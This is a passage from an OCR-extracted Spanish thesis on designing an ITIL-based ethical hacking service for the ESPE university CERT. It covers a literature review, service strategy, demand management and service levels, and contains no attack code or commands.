a ataques informéticos sobre activos no relacionados a
la organizacién y comunidad objetivo de esta
investigacion, como sistemas de diagndstico médico,

sistemas asociados estrechamente a la agricultura, etc

Durante el proceso de inclusiéon y exclusion se considerara articulos relevantes

segun titulo, resumen o abstract, finalizando con la posterior revision de los estudios

completos para una mayor exactitud en la seleccion.

Estrategia de extraccion de datos
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La estrategia de extraccion de datos se encuentra basada en el planteo de posibles

respuestas a cada subpregunta de investigacion, las cuales fueron estipuladas en la Tabla

6. Esto permitira asegurar que los criterios de extraccion de datos se apliquen de manera

correcta.
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Respuestas a cada subpregunta de investigacion

Orden  Subpregunta Respuestas
1 Q1. ¢ Qué problemas se podrian A nivel de organizacion los principales
presentar relacionados a problemas asociados a la seguridad
incidentes de seguridad que informatica se ejecutan por equipos
podamos considerar ataques especializados como APT (Advanced
informaticos premeditados? Persistend Thread) o hackers
avanzados, que buscan secuestrar la
informacién para anular la capacidad
de ejecutar procesos o realizan
ataques de denegacion de servicios.
2 Q2. ¢ Como disefiar un plan de (a) Disefiamos un plan a partir de
operacion para ejecutar las la metodologia de las pruebas
acciones necesarias que de intrusion que se seleccione,
permitan completar el proceso de respetando un marco de
Hacking ético? actividad ética que nos
permita ejecutar el servicio de
la manera mas eficiente
posible.
3 Q3. ¢ Como documentar el (b) Para documentar el

procedimiento y los resultados del
proceso de Hacking ético con el
objetivo de comunicar de forma

oportuna y asertiva las

procedimiento y los resultados
es necesario priozar la
explicabilidad en la escritura

de los informes, minimizar el

60
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Orden  Subpregunta Respuestas
vulnerabilidades encontradas y lenguaje técnico en los
las recomendaciones posible, para permitir al cliente
planteadas? comprender el alcance de las

pruebas de intrusién.

Resumen de estudios primarios

A SURVEY ON ETHICAL HACKING: ISSUES AND CHALLENGES

Los ataques a la seguridad estdn aumentando exponencialmente, lo que tiene un
gran impacto en los sistemas existentes. Sin embargo, para mitigar estos ataques, las
pruebas de penetracion son extremadamente importantes y pueden considerarse una
solucion adecuada a este problema. Por lo tanto, el documento explica los pasos técnicos y
no técnicos de las pruebas de penetracién. El propésito de las pruebas de penetracién es
aumentar la seguridad, el rendimiento y la resiliencia de los sistemas existentes y los datos
relacionados. En otras palabras, las pruebas de penetracién son para simular un ataque
para identificar cualquier vulnerabilidad explotable y/o brechas de seguridad. De hecho,
cualquier vulnerabilidad descubierta sera explotada para atacar sistemas, equipos o
personal. Este problema creciente debe abordarse y mitigarse para aumentar la resistencia
a estos ataques. Ademas, también se enumeran las ventajas y limitaciones de las pruebas
de penetracién. El principal problema con las pruebas de penetracién es que detecta de
manera efectiva las vulnerabilidades conocidas. Por lo tanto, para combatir vulnerabilidades
desconocidas, se necesita un nuevo tipo de prueba de penetracion moderna ademas de un
mayor uso de shadows honeypots. Esto también se puede lograr mejorando la deteccion de
intrusiones anémalas en el sistema de deteccién/prevencion. De hecho, la seguridad se ve
reforzada por la interaccion efectiva entre los diferentes elementos de seguridad y las

pruebas de penetracion (Yaacoub, Noura, Salman, & Chehab, 2021).
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El Hacking Etico como Servicio Conexo de Consultoria en Seguridad por parte
de las Empresas de Seguridad Privada

En los dltimos afios, la tecnologia y la digitalizacién de las operaciones diarias han
avanzado a una velocidad vertiginosa, pero a raiz de la pandemia, el progreso ha alcanzado
niveles inimaginables, lo que ha llevado a un aumento en el crecimiento y desarrollo del
ciberdelito de tal manera que en este sentido privado los servicios de seguridad también
necesitan evolucionar y ser capaces de afrontar los nuevos retos y requisitos de la era
digital en un estado normal nuevo. El hacking ético es un principio que las empresas de
seguridad privada pueden implementar como parte de sus servicios de consultoria para

cumplir con los requisitos actuales de ciberseguridad (Guevara, 2021).

Propuesta para la Creacion y Consolidacion del Centro de Respuesta a
Incidentes Informéticos de la Universidad Nacional Abierta y a Distancia CSIRT-UNAD

Se presentan los pasos propuestos para la creacion y consolidaciéon de la Centro de
Respuesta a Incidentes Informaticos de la Universidad Nacional Abierta y a Distancia-
UNAD, que en adelante se denominara CSIRT-UNAD. La planificacion para la creacién de
la CSIRT-UNAD, con foco en los ambitos de actuacion y las partes interesadas, ademas, se
propone como la CSIRT-UNAD debe constituirse a partir del marco institucional, teniendo
en cuenta el plan de desarrollo y las politicas emitidas por la Universidad y todo el marco
legal que debe cumplir para su desempefio. Asimismo, el alcance propuesto para el
desarrollo de las actividades del CSIRT-UNAD se presenta teniendo en cuenta que sera la
comunidad objetivo, los servicios que proporcionaran y la evolucién que podran presente.
De la misma manera, la estructura del talento humano que formara parte del Centro, su
estructura organizativa, sus funciones y responsabilidades para el desarrollo de sus
actividades y la articulacion de este equipo en la ejecucion de procesos relacionados con
ciber operaciones a favor de contribuir al desarrollo de actividades de 1+D+l.

Como resultados obtenidos, se presenta el ambito de actuacion del CSIRT-UNAD, el
como debe ser su desarrollo econémico, los servicios con los que dara respuesta a las

necesidades de ciberseguridad generadas al interior de la Universidad y la propuesta de
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politicas minimas requeridas para el desarrollo de su capacidad misional (Zambrano,

Freddy, Pefia, & Moreno, 2020).

Vulnerability Assessment and Penetration Testing (VAPT) Framework: Case
Study of Government’s Website

La seguridad de la informacion a menudo es descuidada por individuos o empleados
o0 incluso por la empresa, sin una estrategia adecuada para crear conciencia, promover la
coherencia y mantener el rendimiento con respecto a la proteccion de datos sensibles,
confidenciales y criticos. Una de las técnicas comunes utilizadas son una evaluacién de
vulnerabilidades y pruebas de penetracion (VAPT) para garantizar que la estrategia de
seguridad haya sido implementada en el sistema informéatico mediante el analisis de su
fortaleza y debilidad. SQL juega un papel esencial en la Relacién Sistema de gestion de
base de datos (RDBMS) y su relacién con la existencia de un sitio web y su funcionamiento
flexible debido a su sencillez e integridad. Para anticiparse a este tipo de amenazas u otros
ataques de Internet, se realiza una prueba de penetracion orientada a objetivos en donde se
recomienda un marco para identificar tipos especificos de vulnerabilidades que conducen a
concesiones comerciales y asi evitar los riesgos que afectan negativamente a la empresa,
por lo tanto, este estudio lleva a cabo VAPT para descubrir la posibilidad de amenazas y
evaluar el impacto potencial ser informado al propietario del sistema a través de un marco
de participacion adecuado que permita una medicién sisteméatica. Se han identificado sitios
web gubernamentales para este propésito de la investigacion, y asi mostrar la tendencia
actual que se produjo en las comunidades cibernéticas, especialmente en Indonesia. Este
estudio ha encontrado varias vulnerabilidades en la lista de directorios, la divulgacion de la
ruta completa, la informacion de divulgacién PHP, divulgacion de la carpeta del servidor web
y otras amenazas potenciales, que presentan 2 (dos) criticas, 6 (seis) medias y 2 (dos)

bajas a nivel de riesgo (Almaarif & Lubis, 2020).
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Consciousness of cyber defense: A collective activity system for developing
organizational cyber awareness

El avance tecnoldgico y la implementacion de nuevas tecnologias basadas en
ambientes de Cloud Computing han permitido que las organizaciones entreguen servicios
con nivel de disponibilidad casi ininterrumpido, estas plataformas crean nuevas
oportunidades para la ejecucion de ciber ataques. En este paradigma de organizaciones
cada vez mas virtualizadas, los canales de comunicacion entre los recursos de la empresa y
los usuarios autorizados son también usados por piratas informéticos para propagar
software malicioso, en este contexto, se necesario adoptar una vision de la teoria de la
actividad para conceptualizar los problemas que existen al ejecutar actividades en los
sistemas con el objetivo de ofrecer un acercamiento transformativo para desarrollar ciber
conciencia a nivel organizacional, lo cual permite robustecer los mecanismos de aprendizaje
al momento de establecer equipos de respuesta a incidentes computacionales efectivos,
con capacidad de ejecutar operaciones de ciber seguridad.

Es importante reconocer el contexto, dénde los profesionales en ciber seguridad
tienen el objetivo de proteger los activos de informacién y la ciber infraestructura, mientras
gue los atacantes buscan cualquier oportunidad, traducida en una vulnerabilidad, para
ganar acceso Y violar los mecanismos de seguridad establecidos para proteger sistemas y
redes organizacionales, es importante considerar que un atacante intentara toda estrategia
posible para obtener acceso y escalar privilegios sobre cualquier mecanismo de control
implementado a modo de salvaguarda, es decir, el atacante intentara el acceso, escala de
privilegios, secuestro de informacion, corrupcion de informacién y pérdida definitiva de la
informacion, esta es una realidad que las organizaciones intentan enfrentar desarrollando
salvaguardas a sus activos informaticos y desarrollando una cultura organizacional de
conciencia sobre la ciberseguridad, que no consiste simplemente en la transferencia y
retencién de conocimiento, una organizacion requiere un equipo de ciber profesionales con
conocimientos actualizados sobre ciberseguridad, ademas de creatividad para detectar

brechas y disefiar técnicas de intrusion sobre los sistemas informéaticos, que seran
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complementarios con habilidades relacionadas a la solucién de problemas con enfoque a la
prevencion de futuros ciber ataques.

Un incidente organizacional se define como problemas sociotécnicos de complejidad
interactiva que ocurren entre condiciones no familiares/inseguras y comportamiento
riesgoso/ignorante de los usuarios de la organizacion, de forma mas especifica un incidente
computacional se refiere a eventos computacionales que pueden poner en peligro la
Integridad, Confidencialidad o la Disponibilidad de los sistemas de la informacion y la

informacion almacenada, transmitida o procesada (Shuyuan & Gross, 2021).

A principlist framework for cybersecurity ethics

Los problemas éticos asociados a las practicas y tecnologias de ciberseguridad son
de critica importancia, sin embargo, no existe un marco ético general para afrontar esos
problemas, por tal razén, esta investigacion aborda este problema presentando un marco
ético de ciberseguridad fundamentado en 5 principios: beneficencia, no maleficencia,
autonomia, justicia y explicabilidad (propiedad de un sujeto, objeto o0 accion de ser
facilmente entendible y transparente), y los contrasta con examinando problemas comunes
en el contexto de la ciberseguridad: pruebas de penetracién, negacion de servicios,
ransomware y la administracién de sistemas, este andlisis permite comprender la utilidad de
generar un marco ético al momento de entender la ciberseguridad y cultivar experticia y
sensibilidad ética en los profesionales asociados a la ciberseguridad.

Dentro del contexto especifico del pentesting o Hacking ético, un sujeto tiene el
objetivo de eludir los mecanismos de proteccién usando métodos especificos y creativos,
con la finalidad de permitir a una organizacion identificar y mitigar vulnerabilidades en sus
sistemas; En este proceso podemos identificar el marco de principios éticos en los
beneficios de exponer vulnerabilidades con el objetivo de mitigarlos (beneficencia), exponer
vulnerabilidades sobre las cuales no existe una solucion al momento, generando un alto
grado de conciencia sobre posibilidad de recibir dafio premeditado (no maleficencia), las
pruebas de penetracion también estds asociadas a la violacién de los derechos sobre la

propiedad y al uso de técnicas de engafio (autonomia y justicia), y finalmente, estos
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procesos suelen realizarse, de acuerdo al nivel de servicio, con una falta de transparencia
en los métodos (explicabilidad), sobre este ultimo punto la investigacion muestra sobre
como ignorar el Ultimo principio de este marco, puede llevar a malinterpretar las acciones de
hackers que realizan sus actividades desde la modalidad del gray hacking o black hacking,
por tal razon, aunque se busca establecer de forma escrita en los acuerdos y contratos los
principios de beneficencia y no malevolencia, es importante asegurar incisos dedicados a la
autonomia, la explicabilidad, muchas traducida en transparencia y finalmente establecer un
marco de acciones en post de la justicia, que considerara los resultados del proceso de

pruebas de intrusion (Formosa, Wilson, & Richards, 2021).
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Capitulo 111

Fase 1 Estrategia, Disefio y Transicion

Estrategia

Establecer la estrategia del servicio de hacking ético es esencial para establecer la
estructura del servicio, incluyendo los componentes criticos que envuelven lo y la vez que
se asegura que sea exitosa. El disefio de la estrategia de servicio nos permite establecer un
ciclo de vida de ejecucion del servicio de hacking ético a vez que calibramos los objetivos
del servicio con la infraestructura Tl existente.

En esta primera etapa, se busca disefiar el servicio de hacking ético y convertirlo en
un activo estratégico para el ESPE-CERT, con el objetivo de entregar los mejores
resultados cumpliendo con los acuerdos de nivel de servicios estipulados al momento de
solicitar el servicio de hacking ético sobre ciertos activos criticos.

Gestion de la estrategia

La estrategia de servicio debe contar con una visidn clara que permita determinar
adecuadamente los objetivos y decisiones a tomar. Por lo tanto, se recomienda basarse en
las 4Ps de Mintzberg, mostradas en la Figura 4, para establecer una base sélida que permita
desarrollar las siguientes fases del ciclo de vida de ITIL.

Figura 4

Las 4P de Mintzberg
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Las 4P de Mintzberg

-> Coherencia
-> Procedimientos
-> Priorizacion

ﬁ. PATRON \
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, -> Objetivos y metas
-> Decisiones
-> Valores

POSICION

-> Servicios
-> Prestacion
-> Clientes

Fuente: Las 4P - Henry Mintzberg

Perspectivas
A continuacion, se han definido las siguientes metas y objetivos que nos permiten
generar valor sobre el servicio de hacking ético:

- Establecer los acuerdos de nivel de servicio sobre los cuales se realiza un contrato o
solicitud legal que habilite la ejecucién de un proceso de pruebas de penetracion,
dentro del marco de accion establecido juntamente con el duefio de los activos
informaticos.

- Definir de forma oportuna los diferentes tipos de pruebas de penetracién que se
pueden ejecutar sobre un activo estipulado.

- Detectar y recopilar vulnerabilidades en los activos estudiados aplicando diferentes
técnicas de escaneo.

- Ejecutar procesos de penetracion explotando las vulnerabilidades encontradas
dentro de un marco de responsabilidad ética, bajo prevision de posibles dafios que
puedan existir a la operabilidad de los procesos a los cuales pertenezcan los activos.

- Recopilar y comunicar los resultados de las pruebas de penetracién con un enfoque
especial en el impacto que existe sobre los procesos de negocio.

- Generar un informe de recomendaciones y mejoras, usable y accesible, con el

objetivo de mejorar la resiliencia de la organizacion que solicita el servicio.
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Tabla 7

Estructura de operacion

Funcion Descripcion General Consideraciones Estratégicas
Implementacién de servicio de hacking ético
Escaneo de Vulnerabilidades (Nivel 1)
Escaneo de e Proceso que busca identificar 1. Frecuencia: ¢con qué frecuencia se
Vulnerabilidade y evaluar las vulnerabilidades deben realizar escaneos de
S de seguridad en un sistema o vulnerabilidades? Algunas
red. organizaciones optan por hacer
e Incluye la identificacién de escaneos de vulnerabilidades
software obsoleto o sin periddicamente, mientras que otras los
parches, configuraciones realizan cada vez que se instala o
inseguras o débiles, y otros actualiza el software.
problemas de seguridad que 2. Alcance: ¢{qué sistemas o redes deben
pueden ser explotados por incluirse en el escaneo de
atacantes. vulnerabilidades? Es importante
e Pueden realizarse de manera asegurarse de que todos los sistemas
manual o automatizada, y relevantes sean incluidos en el escaneo.
pueden utilizar herramientas 3. Metodologia: ¢qué herramientas y
de software especializadas técnicas se utilizaran para realizar el
para buscar vulnerabilidades escaneo de vulnerabilidades? Es
conocidas y evaluar el riesgo importante seleccionar herramientas y
potencial que representan. técnicas que sean adecuadas para la
e  Su objetivo es proporcionar organizacion y su entorno.
informacion sobre los puntos 4. Resultados: ¢como se utilizaran los
débiles del sistema o red y resultados del escaneo de
proporcionar un plan de vulnerabilidades? Es importante tener un
accién para corregir o mitigar plan en el lugar para abordar las
esas vulnerabilidades. vulnerabilidades identificadas y mitigar el
riesgo potencial.
5.  Comunicacion: ¢cémo se comunicaran

los resultados del escaneo de
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Funcion Descripcion General Consideraciones Estratégicas
vulnerabilidades y cémo se involucrara a
otros departamentos o equipos? Es
importante involucrar a todos los equipos
y departamentos relevantes en el
proceso de abordar las vulnerabilidades
identificadas.

Pruebas de penetracion (Nivel 2)

Pruebas de e Sonuntipo de evaluacionde 1. Alcance: ¢ qué sistemas o redes deben

penetracion seguridad que simula un incluirse en las pruebas de penetracion?
ataque malintencionado Es importante asegurarse de que todos
contra un sistema o red con los sistemas relevantes sean incluidos en
el fin de identificar las pruebas.
vulnerabilidades y evaluarla 2. Permiso: ¢se ha obtenido el permiso
eficacia de las medidas de adecuado para realizar las pruebas de
seguridad en su lugar. penetracion? Es importante obtener el

e Pueden realizarse de manera permiso de todas las partes relevantes
interna (por un equipo de antes de iniciar las pruebas.
seguridad de la organizacion) 3. Metodologia: ¢qué técnicas y
0 externa (por una empresa herramientas se utilizaran para realizar
de seguridad contratada). las pruebas de penetracién? Es
e Pueden utilizar técnicas importante seleccionar técnicas y

manuales o automatizadas y herramientas adecuadas para la
pueden incluir la exploracién organizacion y su entorno.
de vulnerabilidades 4. Resultados: ¢como se utilizaran los
conocidas, la ejecucién de resultados de las pruebas de
pruebas de exploits y la penetracion? Es importante tener un plan
utilizacién de herramientas en el lugar para abordar las
de ingenieria social para vulnerabilidades identificadas y mejorar
tratar de acceder a sistemas la seguridad en consecuencia.
o datos confidenciales. 5. Comunicacion: ¢cémo se comunicaran

Su objetivo es proporcionar

una evaluacion realista de la

los resultados de las pruebas de

penetracion y como se involucrara a
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Funcién

Descripcion General

Consideraciones Estratégicas

Evaluacion y
recomendacion

es

seguridad de un sistema o
red y proporcionar un plan de
accion para mejorar la
seguridad en caso de que se

encuentren vulnerabilidades.

otros departamentos o equipos? Es
importante involucrar a todos los equipos
y departamentos relevantes en el
proceso de abordar las vulnerabilidades

identificadas.

Evaluacién y recomendaciones (Nivel 3)

Son el resultado final de un
proceso de pruebas de
penetracion, incluyen un
informe detallado que
describe las vulnerabilidades
identificadas durante las
pruebas, el riesgo potencial
que representan y
recomendaciones sobre
cémo abordar esas
vulnerabilidades y mejorar la
seguridad en general.

Puede incluir una evaluacion
de los procesos y politicas de
seguridad existentes y
recomendaciones sobre
cémo mejorarlos.

Su objetivo es proporcionar
informacién valiosa y (til para
mejorar la seguridad de un
sistema o red y reducir el
riesgo de ataques

malintencionados.

1.

Alcance: ¢qué sistemas o redes se han
incluido en las pruebas de penetracion?
Es importante asegurarse de que todos
los sistemas relevantes sean incluidos en
las pruebas y en las evaluaciones y
recomendaciones.

Objetivos: ¢cuales son los objetivos de
las pruebas de penetracion y como se
han cumplido? Es importante evaluar si
se han alcanzado los objetivos previstos
y proporcionar recomendaciones sobre
cémo mejorar en el futuro.

Acciones correctivas: ¢qué medidas
debe tomar la organizacion para abordar
las vulnerabilidades identificadas? Es
importante proporcionar
recomendaciones especificas sobre
cémo abordar las vulnerabilidades y
mejorar la seguridad en general.
Priorizacion: ¢,cuéles son las
vulnerabilidades mas criticas y como
deben abordarse primero? Es importante
priorizar las vulnerabilidades y
proporcionar recomendaciones sobre

como abordar las mas criticas primero.




Funcion Descripcion General

Consideraciones Estratégicas

Cumplimiento: ¢cémo se ajustan las
recomendaciones a las regulaciones y
requisitos de cumplimiento relevantes?
Es importante asegurarse de que las
recomendaciones cumplan con todas las
regulaciones y requisitos de
cumplimiento relevantes.

Comunicacioén: ¢cémo se comunicaran
las evaluaciones y recomendaciones a
los responsables de tomar decisiones y a
otros equipos y departamentos
relevantes? Es importante comunicar de
manera efectiva las evaluaciones y
recomendaciones a todas las partes

interesadas.

Promocion de los servicios de hacking ético para el ESPE-CERT
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El servicio de Hacking Etico en el CERT académico de la Universidad de las Fuerzas

Armadas ESPE converge con los objetivos académicos de la organizacién al ofrecer un

servicio especializado, con un alto nivel ético y conciencia de proteccién cibernética.

El servicio de hacking ético establecido en el CERT permitira el aprendizaje y

capacitacion de estudiantes que busquen asociarse temas de ciberseguridad, fortaleciendo

las capacidades de la comunidad universitaria.

Estrategias e Iniciativas
Tabla 8

Estrategias e Iniciativas

ESTRATEGIAS

INICIATIVAS

PROVISION DE RECURSOS Y
HERRAMIENTAS

Capacitacion de los miembros
del equipo.



MEJORAR LA COMUNICACION Y EL
MARCO DE ACCION ETICA

OPERACION DEL SERVICIO

MEJORA DEL SERVICIO

Capacitacion de los estudiantes
interesados en un ambiente
académico.

Adquisicion de licencias y
herramientas especializadas
escaneo de vulnerabilidades y
Pen-testing.

Establecer reuniones periédicas
y foros de discusion de
experiencias.

Fomentar un ambiente positivo
de debate y construccion de
politicas éticas.

Capacitaciéon oportuna y
actualizada sobre los procesos y
herramientas.

Actualizacion de herramientas.
Cumplir con los acuerdos de
nivel de servicio.

Establecer formatos de ejecucion
de servicio a partir de casos de
estudio.

Optimizar el tiempo de ejecuciéon
de las pruebas de penetracion.

Reporte de estadisticas

Para recopilar los resultados de las pruebas de penetracion de forma accesible y

usable para el duefio de los activos, de tal forma que pueda comprender las
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recomendaciones que se consideren respecto a sus activos informaticos, se procede de la

siguiente forma:

- Realizar un informe detallado sobre las vulnerabilidades explotables encontradas, y

establecer técnicas de mitigacion aplicables sobre las mismas.

- Evaluar el impacto negativo que puede causar una intrusion especifica respecto a

una vulnerabilidad y establecer un porcentaje de afectacion a los procesos de

negocio.
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- Recopilar recomendaciones accesibles a la realidad del duefio de los activos

informaticos que permitan mejorar su resiliencia a ataques de inclusion.

Ubicacion de los Recursos
Considerando que el objetivo del presente proyecto de titulacion es la implantacion
del servicio de hacking ético en el ESPE-CERT, los recursos se ubicaran en:
- Los laboratorios del CERT académico de la Universidad de las Fuerzas Armadas
ESPE, en este lugar encontramos servidores especializados en operaciones
relacionadas con seguridad informéatica, el equipo sobre el cual se ejecutan las
principales operaciones de hacking ético tiene un sistema operativo Kali Linux, asi
mismo los aplicativos que se encuentran instalados permiten desarrollar las pruebas
de penetracion de forma satisfactoria.
- Quienes formamos el equipo de Hacking ético contamos con la asistencia en
conocimientos de los miembros del equipo del CERT académico de la ESPE, esta
asistencia nos permite fortalecer nuestras capacidades vy visitar las instalaciones
donde se encuentran operativos los aplicativos que se buscan analizar.
Posicion

El ESPE-CERT es un equipo especializado en ciberseguridad y ciberdefensa, que se
centra en proporcionar servicios de respuesta a incidentes informéticos a la comunidad
académica y de investigacion de la Universidad de las Fuerzas Armadas ESPE. Se
esfuerzan por brindar servicios de alta calidad y excelencia ética y cientifica, utilizando
tecnologia avanzada y personal técnico altamente calificado. Ofrecen servicios de respuesta
ante incidentes de ataques en la red, publican alertas sobre amenazas y vulnerabilidades y
proporcionan informacién que mejora la seguridad de los sistemas.
Patrén

Para determinar el patron de atencién a quienes soliciten el servicio de hacking ético
seguimos una metodologia FIFO (First In First Out), es decir, se resuelven las solicitudes de

acuerdo se van registrando, con un Unico criterio de prioridad, cuando se solicita el servicio
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por concepto de ataque inminente, es decir, ya sea por un historial de comportamiento
inusual o ataques anteriores, se presume que los activos de informacion de la organizacion
gue solicita el servicio se encuentran en inminente peligro, y la organizacién no cuenta con
un plan de resiliencia o no conoce sus capacidades de ciberseguridad, en estos casos
excepcionales se podran establecer prioridad de un caso sobre otros que ya se encuentren

registrados con anterioridad.

Figura 5
Método FIFO
Método FIFO |P”O”dad
1
2
‘AllB)c]—[AlB|C
e 3

INPUT FIFO

Gestion de los Recursos

En el laboratorio del ESPE-CERT se utilizan las tecnologias de la informacién en los
procesos relacionados a los servicios que se ofertan, de acuerdo con el patrén descrito
anteriormente, buscando agilizar la prestacion de servicios, el costo de los mismoy la
satisfaccion del cliente.
Figura 6

Gestion de los Recursos



76

Soporte Je_ Centro de Aprov?s§onamiento
se_rv.c.o servicios de_ servicio

\

( Eje,cucié’u del Servicio

°_o

Pinomcie,r‘os

[ Gestién de recursos k [Mon?‘toﬁzadén del]
Y
[ J

(f"

ﬁgquis-‘tos o‘e :
sefvicio

Equipo de
administracién

Gestién de Niveles
de Servicio j

&

Gestion de la Demanda

La gestién de la demanda nos permite optimizar la capacidad de asegurar un alto
grado de satisfaccion en la prestacion de los servicios ofertados en el CERT académico de
la universidad de las Fuerzas Armadas ESPE, buscando priorizar los clientes que se
encuentren en situacion critica, para ejecutar este proceso de gestion de forma eficiente es
necesario conocer el nivel de vulnerabilidad del negocio u organizacion cliente, solicitar y
reconocer un historial de incidentes y actuar en consecuencia.

Es importante clasificar los servicios ofertados por el ESPE-CERT en una jerarquia
de mayor impacto y demanda.
Tabla 9

Servicios ofertados por el CERT académico de la ESPE

JRQ SERVICIO ESTADO OBJETIVO
1 Andlisis de Activo Analizar el nivel de seguridad y
vulnerabilidades fallos de los sistemas

informaticos de una instituciéon o
empresa, para su posterior
comunicacion en informes
estructurados.



JRQ SERVICIO ESTADO

OBJETIVO

2 Monitoreo y alerta  Activo
en tiempo real

3 Firma electrénica  Activo

4 Gestion de En proceso de
Incidentes implementacién
5 Hacking Etico En proceso de

Implementacién

6 Asesoramiento En proceso de
técnicoy implementacion
consultoria

Monitorizar los sistemas
informaticos para reportar
incidentes en el acto y reducir el
impacto sobre la organizacion.

Garantizar la integridad y
confidencialidad de los
documentos electronicos y la
comunicacion en la red.

Gestionar la resiliencia de los
sistemas informaticos y procesos
de negocio a incidentes de
seguridad

Ejecutar pruebas de intrusion
controlada sobre los sistemas
informaticos del cliente.

Asesorar a la organizacion
cliente sobre procesos
relacionados con la gestion de la
seguridad de la informacion.

En este contexto es necesario describir el proceso de gestién de la demanda

respecto del servicio de hacking ético, para lo cual es determinante considerar los

siguientes pasos:

1. La organizacién cliente realiza una solicitud de servicio de Hacking ético sobre sus

activos informaticos.

2. EI ESPE-CERT se comunica con el representante de la organizacién cliente para
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ejecutar un proceso de comunicacion donde se analizaran temas principales como el

estado general de los activos de la informacion en la organizacion, el nivel de la

gestion de la seguridad de la informacion (donde se considerara que de no existir

ningun control o sistema de gestién de la seguridad el caso sera critico), también se

hara un reconocimiento de capacidades del CERT Académico de la ESPE y se

discutirdn aspectos relacionados a la ética profesional como la confidencialidad y el

tratamiento de la informacion.
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3. De existir satisfaccion entre la organizacion cliente y el CERT académico de la
ESPE, el cliente realizar4 un documento de solicitud formal del servicio de hacking
ético, en estos documentos se encontraran escritos todos los aspectos sobre los
cuales se ha consensuado en la fase anterior.

4. EI CERT académico de la ESPE ejecutard las pruebas de intrusion en el periodo de
tiempo establecido en consenso y cumplird con un comportamiento estricto dentro
de la ética profesional.

5. EI CERT académico de la ESPE estructurard los resultados en un informe que sera
comunicado al cliente de la organizacion, para este informe es importante priorizar el
aspecto de la explicabilidad, a fin de que el cliente pueda comprender a conformidad
los resultados de las pruebas de intrusion.

Gestién del portafolio de servicios
A continuacién, enumeramos los servicios implementados en el ESPE-CERT:

e Analisis de vulnerabilidades; Servicio especializado en generar informes que
permitan identificar, clasificar y priorizar las debilidades o fallos de la seguridad de la
institucion o empresa.

e Monitoreo y alerta de primer nivel; Servicio de monitoreo que permite identificar
cuando puede ocurrir un evento de seguridad que afecta los activos de la
informacion.

e Firma Electrénica; Servicio que garantiza la autenticidad e integridad y la
confidencialidad de los documentos o transacciones de internet.

Adicionalmente, el CERT académico de la ESPE cuenta con servicios que se
encuentran en fase de implementacion:

e Gestion de incidentes; Servicio que permite asegurar la continuidad de los
procesos de una instituciéon u organizacion minimizando el impacto o dafio sobre los

mismos.
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e Asesoramiento técnico y consultoria; Servicio que otorga asistencia para resolver
procesos relacionados con aspectos técnicos de las tecnologias de la informacion.
e Hacking ético; Servicio que realiza intrusiones controladas sobre un sistema
informatico u aplicacién, permitiendo conocer el impacto que puede un ataque
ocasionar sobre las mismas.
Gestion Financiera

La administracion de los fondos necesarios para llevar a cabo proyectos de
investigacion dentro del ESPE-CERT es esencial y es responsabilidad del lider del proyecto.
El investigador responsable elabora un plan con una lista detallada de los recursos
requeridos para llevar a cabo el proyecto. El plan es entonces presentado al comité del
departamento para su aprobacion y luego enviado a la Unidad de Gestién de Investigacion
(UGIN) para ser evaluado por expertos. Una vez recibida todas las aprobaciones
necesarias, se asigna el presupuesto solicitado para la ejecucion del proyecto. Es
importante mencionar que este proceso de administracién financiera es un ciclo continuo y

se revisa y se adapta segun las necesidades del proyecto.
Disefio del servicio

Coordinacién de disefio

Para realizar el disefio del servicio de hacking ético, se coordiné con un equipo
conformado por: la ingeniera Magaly Reascos, en calidad de representante de la Unidad de
Tecnologias de Informacién y Comunicacion (UTIC), la ingeniera Ana Villa, en calidad de
representante de la Unidad de Seguridad Integrada (USIN) y el ingeniero Mario Ron, tutor
de este proyecto de investigacion y miembro activo del CERT académico de la ESPE,
consecuentemente se gestiond el permiso de acceso a la aplicacion de educativa
(miespe.espe.edu.ec) sobre la cual ejecutar las pruebas de intrusién. También se realizé
una presentacion sobre la propuesta del proyecto, esto con la finalidad de obtener la
aprobacion de la UTIC y nos permitan el acceso a los activos requeridos. De igual manera,

se coordiné con la Unidad de Seguridad Integrada (USIN) un acuerdo de confidencialidad
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sobre la informacion a la que se va a acceder, evitando asi la fuga o el mal uso de la
informacion y que se generen posibles brechas de seguridad. Por ultimo, se realiz6é un
proceso de comunicacion con el personal del ESPE-CERT para conocer respecto de su
infraestructura y servicios disponibles, esta informacion importante al momento de
seleccionar el equipo y las herramientas méas adecuado en el cual se va a implementar el

servicio de hacking ético.

Gestién del catadlogo de servicios
El catalogo de servicios permitira a los potenciales clientes identificar los servicios,
de forma general, que se encuentran ofertados por el ESPE-CERT, como tal tiene que ser
accesible y permitir la compresién rapida del servicio que se busca, considerando los
siguientes niveles de clientes:
o Representante legal de una organizacion.
o Principal representante del area de Tl de una organizacion.
o Duefio de mediana o pequefia empresa.
Con estas consideraciones es imperante basar el catadlogo de servicios en los

siguientes aspectos:

Plazos de Ejecucion.

Disponibilidad del servicio

Soporte técnico del servicio.

Servicios complementarios.

El proceso de provisionamiento de servicios debe ser transparente y accesible para
quién lo solicita, por lo cual estos puntos permitiran al cliente mantener una vision global
sobre los servicios que busca contratar, sus complementos, forma de aprovisionamiento y

nivel de calidad.



Tabla 10

Elementos y definicién

Elemento Definicién

Plazos de ejecucion Modo de atencién al cliente:

El cliente recibe atencion de acuerdo la
cola de solicitudes, pero, si se categoriza
Su caso como critico, se procede con
alta prioridad.

Disponibilidad de servicio Horas de disponibilidad de servicios:

Ciertos servicios como la gestion de
incidentes requeriran una disponibilidad
24/7.

Servicios auxiliares Comunicacién directa con el equipo
encargado de la ejecucion del servicio:

Via telefénica, mensajeria, conexion
remota, etc.

Servicios complementarios Comunicacién sobre servicios ofertados que
pueden complementar y mejorar los
resultados esperados por el cliente.

Gestion de los Niveles de Servicio
El area del ESPE-CERT, se encarga de gestionar los niveles de servicio para el
servicio de hacking ético los cuales son:
1. Evaluacion de vulnerabilidades: se realiza un escaneo de la red y los sistemas
para identificar cualquier punto débil en la seguridad.
2. Pruebas de penetracion: se simula un ataque realista para determinar qué tan
efectivo seria un ataque real y qué medidas se deben tomar para prevenirlo.
3. Informe de seguridad: se prepara un informe detallado que describa los
hallazgos y las recomendaciones para mejorar la seguridad.
4. Soporte en la correccion de vulnerabilidades: se trabaja con el cliente para

corregir cualquier vulnerabilidad identificada durante las pruebas.
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5. Monitoreo y mantenimiento continuo: se realiza un seguimiento continuo de la
seguridad del sistema para detectar y corregir cualquier problema en el futuro,
este nivel de servicio esta asociado a otro servicio ofertado por el ESPE-CERT
que puede complementar y mejorar los resultados de las pruebas de intrusion.

Para manejar de forma correcta la Gestion de Niveles de Servicio es necesario
considerar los siguientes aspectos:

e El servicio de hacking ético debe estar disefiado para cumplir con los
